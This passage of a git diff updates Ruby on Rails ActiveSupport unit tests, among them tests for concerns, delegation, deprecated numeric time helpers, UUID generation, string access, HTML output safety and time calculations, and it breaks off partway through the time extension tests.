+class ModuleConcerningTest < ActiveSupport::TestCase
+ def test_concerning_declares_a_concern_and_includes_it_immediately
+ klass = Class.new { concerning(:Foo) { } }
+ assert klass.ancestors.include?(klass::Foo), klass.ancestors.inspect
+ end
+end
+
+class ModuleConcernTest < ActiveSupport::TestCase
+ def test_concern_creates_a_module_extended_with_active_support_concern
+ klass = Class.new do
+ concern :Baz do
+ included { @foo = 1 }
+ def should_be_public; end
+ end
+ end
+
+ # Declares a concern but doesn't include it
+ assert klass.const_defined?(:Baz, false)
+ assert !ModuleConcernTest.const_defined?(:Baz)
+ assert_kind_of ActiveSupport::Concern, klass::Baz
+ assert !klass.ancestors.include?(klass::Baz), klass.ancestors.inspect
+
+ # Public method visibility by default
+ assert klass::Baz.public_instance_methods.map(&:to_s).include?('should_be_public')
+
+ # Calls included hook
+ assert_equal 1, Class.new { include klass::Baz }.instance_variable_get('@foo')
+ end
+
+ class Foo
+ concerning :Bar do
+ module ClassMethods
+ def will_be_orphaned; end
+ end
+
+ const_set :ClassMethods, Module.new {
+ def hacked_on; end
+ }
+
+ # Doesn't overwrite existing ClassMethods module.
+ class_methods do
+ def nicer_dsl; end
+ end
+
+ # Doesn't overwrite previous class_methods definitions.
+ class_methods do
+ def doesnt_clobber; end
+ end
+ end
+ end
+
+ def test_using_class_methods_blocks_instead_of_ClassMethods_module
+ assert !Foo.respond_to?(:will_be_orphaned)
+ assert Foo.respond_to?(:hacked_on)
+ assert Foo.respond_to?(:nicer_dsl)
+ assert Foo.respond_to?(:doesnt_clobber)
+
+ # Orphan in Foo::ClassMethods, not Bar::ClassMethods.
+ assert Foo.const_defined?(:ClassMethods)
+ assert Foo::ClassMethods.method_defined?(:will_be_orphaned)
+ end
+end
diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb
index f08c61ae92..ff6e21854e 100644
--- a/activesupport/test/core_ext/module_test.rb
+++ b/activesupport/test/core_ext/module_test.rb
@@ -12,12 +12,6 @@ class Ab
Constant3 = "Goodbye World"
end
-module Xy
- class Bc
- include One
- end
-end
-
module Yz
module Zy
class Cd
@@ -66,6 +60,23 @@ Tester = Struct.new(:client) do
delegate :name, :to => :client, :prefix => false
end
+Product = Struct.new(:name) do
+ delegate :name, :to => :manufacturer, :prefix => true
+ delegate :name, :to => :type, :prefix => true
+
+ def manufacturer
+ @manufacturer ||= begin
+ nil.unknown_method
+ end
+ end
+
+ def type
+ @type ||= begin
+ nil.type_name
+ end
+ end
+end
+
class ParameterSet
delegate :[], :[]=, :to => :@params
@@ -234,6 +245,16 @@ class ModuleTest < ActiveSupport::TestCase
end
end
+ def test_delegation_line_number
+ _, line = Someone.instance_method(:foo).source_location
+ assert_equal Someone::FAILED_DELEGATE_LINE, line
+ end
+
+ def test_delegate_line_with_nil
+ _, line = Someone.instance_method(:bar).source_location
+ assert_equal Someone::FAILED_DELEGATE_LINE_2, line
+ end
+
def test_delegation_exception_backtrace
someone = Someone.new("foo", "bar")
someone.foo
@@ -264,6 +285,16 @@ class ModuleTest < ActiveSupport::TestCase
assert_equal [3], se.ints
end
+ def test_delegation_doesnt_mask_nested_no_method_error_on_nil_receiver
+ product = Product.new('Widget')
+
+ # Nested NoMethodError is a different name from the delegation
+ assert_raise(NoMethodError) { product.manufacturer_name }
+
+ # Nested NoMethodError is the same name as the delegation
+ assert_raise(NoMethodError) { product.type_name }
+ end
+
def test_parent
assert_equal Yz::Zy, Yz::Zy::Cd.parent
assert_equal Yz, Yz::Zy.parent
@@ -278,12 +309,6 @@ class ModuleTest < ActiveSupport::TestCase
def test_local_constants
assert_equal %w(Constant1 Constant3), Ab.local_constants.sort.map(&:to_s)
end
-
- def test_local_constant_names
- ActiveSupport::Deprecation.silence do
- assert_equal %w(Constant1 Constant3), Ab.local_constant_names.sort.map(&:to_s)
- end
- end
end
module BarMethodAliaser
diff --git a/activesupport/test/core_ext/name_error_test.rb b/activesupport/test/core_ext/name_error_test.rb
index 03ce09f22a..7525f80cf0 100644
--- a/activesupport/test/core_ext/name_error_test.rb
+++ b/activesupport/test/core_ext/name_error_test.rb
@@ -3,18 +3,18 @@ require 'active_support/core_ext/name_error'
class NameErrorTest < ActiveSupport::TestCase
def test_name_error_should_set_missing_name
- SomeNameThatNobodyWillUse____Really ? 1 : 0
- flunk "?!?!"
- rescue NameError => exc
+ exc = assert_raise NameError do
+ SomeNameThatNobodyWillUse____Really ? 1 : 0
+ end
assert_equal "NameErrorTest::SomeNameThatNobodyWillUse____Really", exc.missing_name
assert exc.missing_name?(:SomeNameThatNobodyWillUse____Really)
assert exc.missing_name?("NameErrorTest::SomeNameThatNobodyWillUse____Really")
end
def test_missing_method_should_ignore_missing_name
- some_method_that_does_not_exist
- flunk "?!?!"
- rescue NameError => exc
+ exc = assert_raise NameError do
+ some_method_that_does_not_exist
+ end
assert !exc.missing_name?(:Foo)
assert_nil exc.missing_name
end
diff --git a/activesupport/test/core_ext/numeric_ext_test.rb b/activesupport/test/core_ext/numeric_ext_test.rb
index 1da72eb17d..3b1dabea8d 100644
--- a/activesupport/test/core_ext/numeric_ext_test.rb
+++ b/activesupport/test/core_ext/numeric_ext_test.rb
@@ -22,21 +22,16 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
end
end
- def test_intervals
- @seconds.values.each do |seconds|
- assert_equal seconds.since(@now), @now + seconds
- assert_equal seconds.until(@now), @now - seconds
- end
+ def test_deprecated_since_and_ago
+ assert_equal @now + 1, assert_deprecated { 1.since(@now) }
+ assert_equal @now - 1, assert_deprecated { 1.ago(@now) }
end
- # Test intervals based from Time.now
- def test_now
- @seconds.values.each do |seconds|
- now = Time.now
- assert seconds.ago >= now - seconds
- now = Time.now
- assert seconds.from_now >= now + seconds
- end
+ def test_deprecated_since_and_ago_without_argument
+ now = Time.now
+ assert assert_deprecated { 1.since } >= now + 1
+ now = Time.now
+ assert assert_deprecated { 1.ago } >= now - 1
end
def test_irregular_durations
@@ -78,10 +73,10 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
end
def test_duration_after_conversion_is_no_longer_accurate
- assert_equal 30.days.to_i.since(@now), 1.month.to_i.since(@now)
- assert_equal 365.25.days.to_f.since(@now), 1.year.to_f.since(@now)
- assert_equal 30.days.to_i.since(@dtnow), 1.month.to_i.since(@dtnow)
- assert_equal 365.25.days.to_f.since(@dtnow), 1.year.to_f.since(@dtnow)
+ assert_equal 30.days.to_i.seconds.since(@now), 1.month.to_i.seconds.since(@now)
+ assert_equal 365.25.days.to_f.seconds.since(@now), 1.year.to_f.seconds.since(@now)
+ assert_equal 30.days.to_i.seconds.since(@dtnow), 1.month.to_i.seconds.since(@dtnow)
+ assert_equal 365.25.days.to_f.seconds.since(@dtnow), 1.year.to_f.seconds.since(@dtnow)
end
def test_add_one_year_to_leap_day
@@ -94,11 +89,11 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
with_env_tz 'US/Eastern' do
Time.stubs(:now).returns Time.local(2000)
# since
- assert_equal false, 5.since.is_a?(ActiveSupport::TimeWithZone)
- assert_equal Time.local(2000,1,1,0,0,5), 5.since
+ assert_not_instance_of ActiveSupport::TimeWithZone, assert_deprecated { 5.since }
+ assert_equal Time.local(2000,1,1,0,0,5), assert_deprecated { 5.since }
# ago
- assert_equal false, 5.ago.is_a?(ActiveSupport::TimeWithZone)
- assert_equal Time.local(1999,12,31,23,59,55), 5.ago
+ assert_not_instance_of ActiveSupport::TimeWithZone, assert_deprecated { 5.ago }
+ assert_equal Time.local(1999,12,31,23,59,55), assert_deprecated { 5.ago }
end
end
@@ -107,13 +102,13 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
with_env_tz 'US/Eastern' do
Time.stubs(:now).returns Time.local(2000)
# since
- assert_equal true, 5.since.is_a?(ActiveSupport::TimeWithZone)
- assert_equal Time.utc(2000,1,1,0,0,5), 5.since.time
- assert_equal 'Eastern Time (US & Canada)', 5.since.time_zone.name
+ assert_instance_of ActiveSupport::TimeWithZone, assert_deprecated { 5.since }
+ assert_equal Time.utc(2000,1,1,0,0,5), assert_deprecated { 5.since.time }
+ assert_equal 'Eastern Time (US & Canada)', assert_deprecated { 5.since.time_zone.name }
# ago
- assert_equal true, 5.ago.is_a?(ActiveSupport::TimeWithZone)
- assert_equal Time.utc(1999,12,31,23,59,55), 5.ago.time
- assert_equal 'Eastern Time (US & Canada)', 5.ago.time_zone.name
+ assert_instance_of ActiveSupport::TimeWithZone, assert_deprecated { 5.ago }
+ assert_equal Time.utc(1999,12,31,23,59,55), assert_deprecated { 5.ago.time }
+ assert_equal 'Eastern Time (US & Canada)', assert_deprecated { 5.ago.time_zone.name }
end
ensure
Time.zone = nil
@@ -440,4 +435,8 @@ class NumericExtFormattingTest < ActiveSupport::TestCase
assert_equal BigDecimal, BigDecimal("1000010").class
assert_equal '1 Million', BigDecimal("1000010").to_s(:human)
end
+
+ def test_in_milliseconds
+ assert_equal 10_000, 10.seconds.in_milliseconds
+ end
end
diff --git a/activesupport/test/core_ext/deep_dup_test.rb b/activesupport/test/core_ext/object/deep_dup_test.rb
index 91d558dbb5..91d558dbb5 100644
--- a/activesupport/test/core_ext/deep_dup_test.rb
+++ b/activesupport/test/core_ext/object/deep_dup_test.rb
diff --git a/activesupport/test/core_ext/duplicable_test.rb b/activesupport/test/core_ext/object/duplicable_test.rb
index e0566e012c..84512380cf 100644
--- a/activesupport/test/core_ext/duplicable_test.rb
+++ b/activesupport/test/core_ext/object/duplicable_test.rb
@@ -5,34 +5,27 @@ require 'active_support/core_ext/numeric/time'
class DuplicableTest < ActiveSupport::TestCase
RAISE_DUP = [nil, false, true, :symbol, 1, 2.3, 5.seconds]
- YES = ['1', Object.new, /foo/, [], {}, Time.now, Class.new, Module.new]
- NO = []
+ ALLOW_DUP = ['1', Object.new, /foo/, [], {}, Time.now, Class.new, Module.new]
+ # Needed to support Ruby 1.9.x, as it doesn't allow dup on BigDecimal, instead
+ # raises TypeError exception. Checking here on the runtime whether BigDecimal
+ # will allow dup or not.
begin
bd = BigDecimal.new('4.56')
- YES << bd.dup
+ ALLOW_DUP << bd.dup
rescue TypeError
RAISE_DUP << bd
end
-
def test_duplicable
- (RAISE_DUP + NO).each do |v|
+ RAISE_DUP.each do |v|
assert !v.duplicable?
+ assert_raises(TypeError, v.class.name) { v.dup }
end
- YES.each do |v|
- assert v.duplicable?, "#{v.class} should be duplicable"
- end
-
- (YES + NO).each do |v|
+ ALLOW_DUP.each do |v|
+ assert v.duplicable?, "#{ v.class } should be duplicable"
assert_nothing_raised { v.dup }
end
-
- RAISE_DUP.each do |v|
- assert_raises(TypeError, v.class.name) do
- v.dup
- end
- end
end
end
diff --git a/activesupport/test/core_ext/object/inclusion_test.rb b/activesupport/test/core_ext/object/inclusion_test.rb
index 478706eeae..b054a8dd31 100644
--- a/activesupport/test/core_ext/object/inclusion_test.rb
+++ b/activesupport/test/core_ext/object/inclusion_test.rb
@@ -47,4 +47,9 @@ class InTest < ActiveSupport::TestCase
def test_no_method_catching
assert_raise(ArgumentError) { 1.in?(1) }
end
+
+ def test_presence_in
+ assert_equal "stuff", "stuff".presence_in(%w( lots of stuff ))
+ assert_nil "stuff".presence_in(%w( lots of crap ))
+ end
end
diff --git a/activesupport/test/core_ext/object/to_query_test.rb b/activesupport/test/core_ext/object/to_query_test.rb
index 92f996f9a4..7457c4655a 100644
--- a/activesupport/test/core_ext/object/to_query_test.rb
+++ b/activesupport/test/core_ext/object/to_query_test.rb
@@ -46,6 +46,21 @@ class ToQueryTest < ActiveSupport::TestCase
:person => {:id => [20, 10]}
end
+ def test_nested_empty_hash
+ assert_equal '',
+ {}.to_query
+ assert_query_equal 'a=1&b%5Bc%5D=3',
+ { a: 1, b: { c: 3, d: {} } }
+ assert_query_equal '',
+ { a: {b: {c: {}}} }
+ assert_query_equal 'b%5Bc%5D=false&b%5Be%5D=&b%5Bf%5D=&p=12',
+ { p: 12, b: { c: false, e: nil, f: '' } }
+ assert_query_equal 'b%5Bc%5D=3&b%5Bf%5D=',
+ { b: { c: 3, k: {}, f: '' } }
+ assert_query_equal 'b=3',
+ {a: [], b: 3}
+ end
+
private
def assert_query_equal(expected, actual)
assert_equal expected.split('&'), actual.to_query.split('&')
diff --git a/activesupport/test/core_ext/object_and_class_ext_test.rb b/activesupport/test/core_ext/object_and_class_ext_test.rb
index 8d748791e3..0f454fdd95 100644
--- a/activesupport/test/core_ext/object_and_class_ext_test.rb
+++ b/activesupport/test/core_ext/object_and_class_ext_test.rb
@@ -3,31 +3,6 @@ require 'active_support/time'
require 'active_support/core_ext/object'
require 'active_support/core_ext/class/subclasses'
-class ClassA; end
-class ClassB < ClassA; end
-class ClassC < ClassB; end
-class ClassD < ClassA; end
-
-class ClassI; end
-class ClassJ < ClassI; end
-
-class ClassK
-end
-module Nested
- class << self
- def on_const_missing(&callback)
- @on_const_missing = callback
- end
- private
- def const_missing(mod_id)
- @on_const_missing[mod_id] if @on_const_missing
- super
- end
- end
- class ClassL < ClassK
- end
-end
-
class ObjectTests < ActiveSupport::TestCase
class DuckTime
def acts_like_time?
diff --git a/activesupport/test/core_ext/proc_test.rb b/activesupport/test/core_ext/proc_test.rb
deleted file mode 100644
index c4d5592196..0000000000
--- a/activesupport/test/core_ext/proc_test.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/proc'
-
-class ProcTests < ActiveSupport::TestCase
- def test_bind_returns_method_with_changed_self
- assert_deprecated do
- block = Proc.new { self }
- assert_equal self, block.call
- bound_block = block.bind("hello")
- assert_not_equal block, bound_block
- assert_equal "hello", bound_block.call
- end
- end
-end
diff --git a/activesupport/test/core_ext/range_ext_test.rb b/activesupport/test/core_ext/range_ext_test.rb
index 2f8723a074..150e6b65fb 100644
--- a/activesupport/test/core_ext/range_ext_test.rb
+++ b/activesupport/test/core_ext/range_ext_test.rb
@@ -42,7 +42,7 @@ class RangeTest < ActiveSupport::TestCase
assert((1...10).include?(1...10))
end
- def test_should_include_other_with_exlusive_end
+ def test_should_include_other_with_exclusive_end
assert((1..10).include?(1...10))
end
@@ -90,4 +90,30 @@ class RangeTest < ActiveSupport::TestCase
time_range_2 = Time.utc(2005, 12, 10, 17, 31)..Time.utc(2005, 12, 10, 18, 00)
assert !time_range_1.overlaps?(time_range_2)
end
+
+ def test_each_on_time_with_zone
+ twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone['Eastern Time (US & Canada)'] , Time.utc(2006,11,28,10,30))
+ assert_raises TypeError do
+ ((twz - 1.hour)..twz).each {}
+ end
+ end
+
+ def test_step_on_time_with_zone
+ twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone['Eastern Time (US & Canada)'] , Time.utc(2006,11,28,10,30))
+ assert_raises TypeError do
+ ((twz - 1.hour)..twz).step(1) {}
+ end
+ end
+
+ def test_include_on_time_with_zone
+ twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone['Eastern Time (US & Canada)'] , Time.utc(2006,11,28,10,30))
+ assert_raises TypeError do
+ ((twz - 1.hour)..twz).include?(twz)
+ end
+ end
+
+ def test_date_time_with_each
+ datetime = DateTime.now
+ assert ((datetime - 1.hour)..datetime).each {}
+ end
end
diff --git a/activesupport/test/core_ext/securerandom_test.rb b/activesupport/test/core_ext/securerandom_test.rb
new file mode 100644
index 0000000000..71980f6910
--- /dev/null
+++ b/activesupport/test/core_ext/securerandom_test.rb
@@ -0,0 +1,28 @@
+require 'abstract_unit'
+require 'active_support/core_ext/securerandom'
+
+class SecureRandomExt < ActiveSupport::TestCase
+ def test_v3_uuids
+ assert_equal "3d813cbb-47fb-32ba-91df-831e1593ac29", SecureRandom.uuid_v3(SecureRandom::UUID_DNS_NAMESPACE, "www.widgets.com")
+ assert_equal "86df55fb-428e-3843-8583-ba3c05f290bc", SecureRandom.uuid_v3(SecureRandom::UUID_URL_NAMESPACE, "http://www.widgets.com")
+ assert_equal "8c29ab0e-a2dc-3482-b5eb-20cb2e2387a1", SecureRandom.uuid_v3(SecureRandom::UUID_OID_NAMESPACE, "1.2.3")
+ assert_equal "ee49149d-53a4-304a-890b-468229f6afc3", SecureRandom.uuid_v3(SecureRandom::UUID_X500_NAMESPACE, "cn=John Doe, ou=People, o=Acme, Inc., c=US")
+ end
+
+ def test_v5_uuids
+ assert_equal "21f7f8de-8051-5b89-8680-0195ef798b6a", SecureRandom.uuid_v5(SecureRandom::UUID_DNS_NAMESPACE, "www.widgets.com")
+ assert_equal "4e570fd8-186d-5a74-90f0-4d28e34673a1", SecureRandom.uuid_v5(SecureRandom::UUID_URL_NAMESPACE, "http://www.widgets.com")
+ assert_equal "42d5e23b-3a02-5135-85c6-52d1102f1f00", SecureRandom.uuid_v5(SecureRandom::UUID_OID_NAMESPACE, "1.2.3")
+ assert_equal "fd5b2ddf-bcfe-58b6-90d6-db50f74db527", SecureRandom.uuid_v5(SecureRandom::UUID_X500_NAMESPACE, "cn=John Doe, ou=People, o=Acme, Inc., c=US")
+ end
+
+ def test_uuid_v4_alias
+ assert_equal SecureRandom.method(:uuid_v4), SecureRandom.method(:uuid)
+ end
+
+ def test_invalid_hash_class
+ assert_raise ArgumentError do
+ SecureRandom.uuid_from_hash(Digest::SHA2, SecureRandom::UUID_OID_NAMESPACE, '1.2.3')
+ end
+ end
+end
diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb
index 8f0ebc13ea..95df173880 100644
--- a/activesupport/test/core_ext/string_ext_test.rb
+++ b/activesupport/test/core_ext/string_ext_test.rb
@@ -11,13 +11,6 @@ require 'active_support/core_ext/string/strip'
require 'active_support/core_ext/string/output_safety'
require 'active_support/core_ext/string/indent'
-module Ace
- module Base
- class Case
- end
- end
-end
-
class StringInflectionsTest < ActiveSupport::TestCase
include InflectorTestCases
include ConstantizeTestCases
@@ -65,6 +58,11 @@ class StringInflectionsTest < ActiveSupport::TestCase
assert_equal("blargles", "blargle".pluralize(2))
end
+ test 'pluralize with count = 1 still returns new string' do
+ name = "Kuldeep"
+ assert_not_same name.pluralize(1), name
+ end
+
def test_singularize
SingularToPlural.each do |singular, plural|
assert_equal(singular, plural.singularize)
@@ -162,59 +160,19 @@ class StringInflectionsTest < ActiveSupport::TestCase
end
end
- def test_ord
- assert_equal 97, 'a'.ord
- assert_equal 97, 'abc'.ord
+ def test_humanize_without_capitalize
+ UnderscoreToHumanWithoutCapitalize.each do |underscore, human|
+ assert_equal(human, underscore.humanize(capitalize: false))
+ end
end
- def test_access
- s = "hello"
- assert_equal "h", s.at(0)
-
- assert_equal "llo", s.from(2)
- assert_equal "hel", s.to(2)
-
- assert_equal "h", s.first
- assert_equal "he", s.first(2)
- assert_equal "", s.first(0)
-
- assert_equal "o", s.last
- assert_equal "llo", s.last(3)
- assert_equal "hello", s.last(10)
- assert_equal "", s.last(0)
-
- assert_equal 'x', 'x'.first
- assert_equal 'x', 'x'.first(4)
-
- assert_equal 'x', 'x'.last
- assert_equal 'x', 'x'.last(4)
+ def test_humanize_with_html_escape
+ assert_equal 'Hello', ERB::Util.html_escape("hello").humanize
end
- def test_access_returns_a_real_string
- hash = {}
- hash["h"] = true
- hash["hello123".at(0)] = true
- assert_equal %w(h), hash.keys
-
- hash = {}
- hash["llo"] = true
- hash["hello".from(2)] = true
- assert_equal %w(llo), hash.keys
-
- hash = {}
- hash["hel"] = true
- hash["hello".to(2)] = true
- assert_equal %w(hel), hash.keys
-
- hash = {}
- hash["hello"] = true
- hash["123hello".last(5)] = true
- assert_equal %w(hello), hash.keys
-
- hash = {}
- hash["hello"] = true
- hash["hello123".first(5)] = true
- assert_equal %w(hello), hash.keys
+ def test_ord
+ assert_equal 97, 'a'.ord
+ assert_equal 97, 'abc'.ord
end
def test_starts_ends_with_alias
@@ -278,6 +236,11 @@ class StringInflectionsTest < ActiveSupport::TestCase
assert !"Hello World!".truncate(12).html_safe?
end
+ def test_remove
+ assert_equal "Summer", "Fast Summer".remove(/Fast /)
+ assert_equal "Summer", "Fast Summer".remove!(/Fast /)
+ end
+
def test_constantize
run_constantize_tests_on do |string|
string.constantize
@@ -291,6 +254,105 @@ class StringInflectionsTest < ActiveSupport::TestCase
end
end
+class StringAccessTest < ActiveSupport::TestCase
+ test "#at with Fixnum, returns a substring of one character at that position" do
+ assert_equal "h", "hello".at(0)
+ end
+
+ test "#at with Range, returns a substring containing characters at offsets" do
+ assert_equal "lo", "hello".at(-2..-1)
+ end
+
+ test "#at with Regex, returns the matching portion of the string" do
+ assert_equal "lo", "hello".at(/lo/)
+ assert_equal nil, "hello".at(/nonexisting/)
+ end
+
+ test "#from with positive Fixnum, returns substring from the given position to the end" do
+ assert_equal "llo", "hello".from(2)
+ end
+
+ test "#from with negative Fixnum, position is counted from the end" do
+ assert_equal "lo", "hello".from(-2)
+ end
+
+ test "#to with positive Fixnum, substring from the beginning to the given position" do
+ assert_equal "hel", "hello".to(2)
+ end
+
+ test "#to with negative Fixnum, position is counted from the end" do
+ assert_equal "hell", "hello".to(-2)
+ end
+
+ test "#from and #to can be combined" do
+ assert_equal "hello", "hello".from(0).to(-1)
+ assert_equal "ell", "hello".from(1).to(-2)
+ end
+
+ test "#first returns the first character" do
+ assert_equal "h", "hello".first
+ assert_equal 'x', 'x'.first
+ end
+
+ test "#first with Fixnum, returns a substring from the beginning to position" do
+ assert_equal "he", "hello".first(2)
+ assert_equal "", "hello".first(0)
+ assert_equal "hello", "hello".first(10)
+ assert_equal 'x', 'x'.first(4)
+ end
+
+ test "#first with Fixnum >= string length still returns a new string" do
+ string = "hello"
+ different_string = string.first(5)
+ assert_not_same different_string, string
+ end
+
+ test "#last returns the last character" do
+ assert_equal "o", "hello".last
+ assert_equal 'x', 'x'.last
+ end
+
+ test "#last with Fixnum, returns a substring from the end to position" do
+ assert_equal "llo", "hello".last(3)
+ assert_equal "hello", "hello".last(10)
+ assert_equal "", "hello".last(0)
+ assert_equal 'x', 'x'.last(4)
+ end
+
+ test "#last with Fixnum >= string length still returns a new string" do
+ string = "hello"
+ different_string = string.last(5)
+ assert_not_same different_string, string
+ end
+
+ test "access returns a real string" do
+ hash = {}
+ hash["h"] = true
+ hash["hello123".at(0)] = true
+ assert_equal %w(h), hash.keys
+
+ hash = {}
+ hash["llo"] = true
+ hash["hello".from(2)] = true
+ assert_equal %w(llo), hash.keys
+
+ hash = {}
+ hash["hel"] = true
+ hash["hello".to(2)] = true
+ assert_equal %w(hel), hash.keys
+
+ hash = {}
+ hash["hello"] = true
+ hash["123hello".last(5)] = true
+ assert_equal %w(hello), hash.keys
+
+ hash = {}
+ hash["hello"] = true
+ hash["hello123".first(5)] = true
+ assert_equal %w(hello), hash.keys
+ end
+end
+
class StringConversionsTest < ActiveSupport::TestCase
def test_string_to_time
with_env_tz "Europe/Moscow" do
@@ -563,6 +625,29 @@ class OutputSafetyTest < ActiveSupport::TestCase
assert !@other_combination.html_safe?
end
+ test "Prepending safe onto unsafe yields unsafe" do
+ @string.prepend "other".html_safe
+ assert !@string.html_safe?
+ assert_equal @string, "otherhello"
+ end
+
+ test "Prepending unsafe onto safe yields escaped safe" do
+ other = "other".html_safe
+ other.prepend "<foo>"
+ assert other.html_safe?
+ assert_equal other, "&lt;foo&gt;other"
+ end
+
+ test "Deprecated #prepend! method is still present" do
+ other = "other".html_safe
+
+ assert_deprecated do
+ other.prepend! "<foo>"
+ end
+
+ assert_equal other, "&lt;foo&gt;other"
+ end
+
test "Concatting safe onto unsafe yields unsafe" do
@other_string = "other"
@@ -651,12 +736,6 @@ class OutputSafetyTest < ActiveSupport::TestCase
assert_equal 'foo'.to_yaml, 'foo'.html_safe.to_yaml(:foo => 1)
end
- test 'knows whether it is encoding aware' do
- assert_deprecated do
- assert 'ruby'.encoding_aware?
- end
- end
-
test "call to_param returns a normal string" do
string = @string.html_safe
assert string.html_safe?
diff --git a/activesupport/test/core_ext/thread_test.rb b/activesupport/test/core_ext/thread_test.rb
index 230c1203ad..6a7c6e0604 100644
--- a/activesupport/test/core_ext/thread_test.rb
+++ b/activesupport/test/core_ext/thread_test.rb
@@ -63,15 +63,13 @@ class ThreadExt < ActiveSupport::TestCase
end
end
- def test_thread_variable_security
- t = Thread.new { sleep }
-
- assert_raises(SecurityError) do
- Thread.new { $SAFE = 4; t.thread_variable_get(:foo) }.join
- end
-
- assert_raises(SecurityError) do
- Thread.new { $SAFE = 4; t.thread_variable_set(:foo, :baz) }.join
+ def test_thread_variable_frozen_after_set
+ t = Thread.new { }.join
+ t.thread_variable_set :foo, "bar"
+ t.freeze
+ assert_raises(RuntimeError) do
+ t.thread_variable_set(:baz, "qux")
end
end
+
end
diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb
index eefcdbb1b3..e0a4b1be3e 100644
--- a/activesupport/test/core_ext/time_ext_test.rb
+++ b/activesupport/test/core_ext/time_ext_test.rb
@@ -117,6 +117,18 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
end
end
+ def test_middle_of_day
+ assert_equal Time.local(2005,2,4,12,0,0), Time.local(2005,2,4,10,10,10).middle_of_day
+ with_env_tz 'US/Eastern' do
+ assert_equal Time.local(2006,4,2,12,0,0), Time.local(2006,4,2,10,10,10).middle_of_day, 'start DST'
+ assert_equal Time.local(2006,10,29,12,0,0), Time.local(2006,10,29,10,10,10).middle_of_day, 'ends DST'
+ end
+ with_env_tz 'NZ' do
+ assert_equal Time.local(2006,3,19,12,0,0), Time.local(2006,3,19,10,10,10).middle_of_day, 'ends DST'
+ assert_equal Time.local(2006,10,1,12,0,0), Time.local(2006,10,1,10,10,10).middle_of_day, 'start DST'
+ end
+ end
+
def test_beginning_of_hour
assert_equal Time.local(2005,2,4,19,0,0), Time.local(2005,2,4,19,30,10).beginning_of_hour
end
@@ -464,6 +476,13 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal t, t.advance(:months => 0)
end
+ def test_advance_gregorian_proleptic
+ assert_equal Time.local(1582,10,14,15,15,10), Time.local(1582,10,15,15,15,10).advance(:days => -1)
+ assert_equal Time.local(1582,10,15,15,15,10), Time.local(1582,10,14,15,15,10).advance(:days => 1)
+ assert_equal Time.local(1582,10,5,15,15,10), Time.local(1582,10,4,15,15,10).advance(:days => 1)
+ assert_equal Time.local(1582,10,4,15,15,10), Time.local(1582,10,5,15,15,10).advance(:days => -1)
+ end
+
def test_last_week
with_env_tz 'US/Eastern' do
assert_equal Time.local(2005,2,21), Time.local(2005,3,1,15,15,10).last_week
@@ -509,6 +528,9 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
with_env_tz "US/Central" do
assert_equal "Thu, 05 Feb 2009 14:30:05 -0600", Time.local(2009, 2, 5, 14, 30, 5).to_s(:rfc822)
assert_equal "Mon, 09 Jun 2008 04:05:01 -0500", Time.local(2008, 6, 9, 4, 5, 1).to_s(:rfc822)
+ assert_equal "2009-02-05T14:30:05-06:00", Time.local(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
+ assert_equal "2008-06-09T04:05:01-05:00", Time.local(2008, 6, 9, 4, 5, 1).to_s(:iso8601)
+ assert_equal "2009-02-05T14:30:05Z", Time.utc(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
end
end
@@ -578,58 +600,6 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal 29, Time.days_in_month(2)
end
- def test_time_with_datetime_fallback
- ActiveSupport::Deprecation.silence do
- assert_equal Time.time_with_datetime_fallback(:utc, 2005, 2, 21, 17, 44, 30), Time.utc(2005, 2, 21, 17, 44, 30)
- assert_equal Time.time_with_datetime_fallback(:local, 2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30)
- assert_equal Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0)
- assert_equal Time.time_with_datetime_fallback(:local, 2039, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 2039, 2, 21, 17, 44, 30)
- assert_equal Time.time_with_datetime_fallback(:utc, 1900, 2, 21, 17, 44, 30), DateTime.civil(1900, 2, 21, 17, 44, 30, 0)
- assert_equal Time.time_with_datetime_fallback(:utc, 2005), Time.utc(2005)
- assert_equal Time.time_with_datetime_fallback(:utc, 2039), DateTime.civil(2039, 1, 1, 0, 0, 0, 0)
- assert_equal Time.time_with_datetime_fallback(:utc, 2005, 2, 21, 17, 44, 30, 1), Time.utc(2005, 2, 21, 17, 44, 30, 1) #with usec
- # This won't overflow on 64bit linux
- unless time_is_64bits?
- assert_equal Time.time_with_datetime_fallback(:local, 1900, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 1900, 2, 21, 17, 44, 30)
- assert_equal Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1),
- DateTime.civil(2039, 2, 21, 17, 44, 30, 0, 0)
- assert_equal ::Date::ITALY, Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1).start # use Ruby's default start value
- end
- silence_warnings do
- 0.upto(138) do |year|
- [:utc, :local].each do |format|
- assert_equal year, Time.time_with_datetime_fallback(format, year).year
- end
- end
- end
- end
- end
-
- def test_utc_time
- ActiveSupport::Deprecation.silence do
- assert_equal Time.utc_time(2005, 2, 21, 17, 44, 30), Time.utc(2005, 2, 21, 17, 44, 30)
- assert_equal Time.utc_time(2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0)
- assert_equal Time.utc_time(1901, 2, 21, 17, 44, 30), DateTime.civil(1901, 2, 21, 17, 44, 30, 0)
- end
- end
-
- def test_local_time
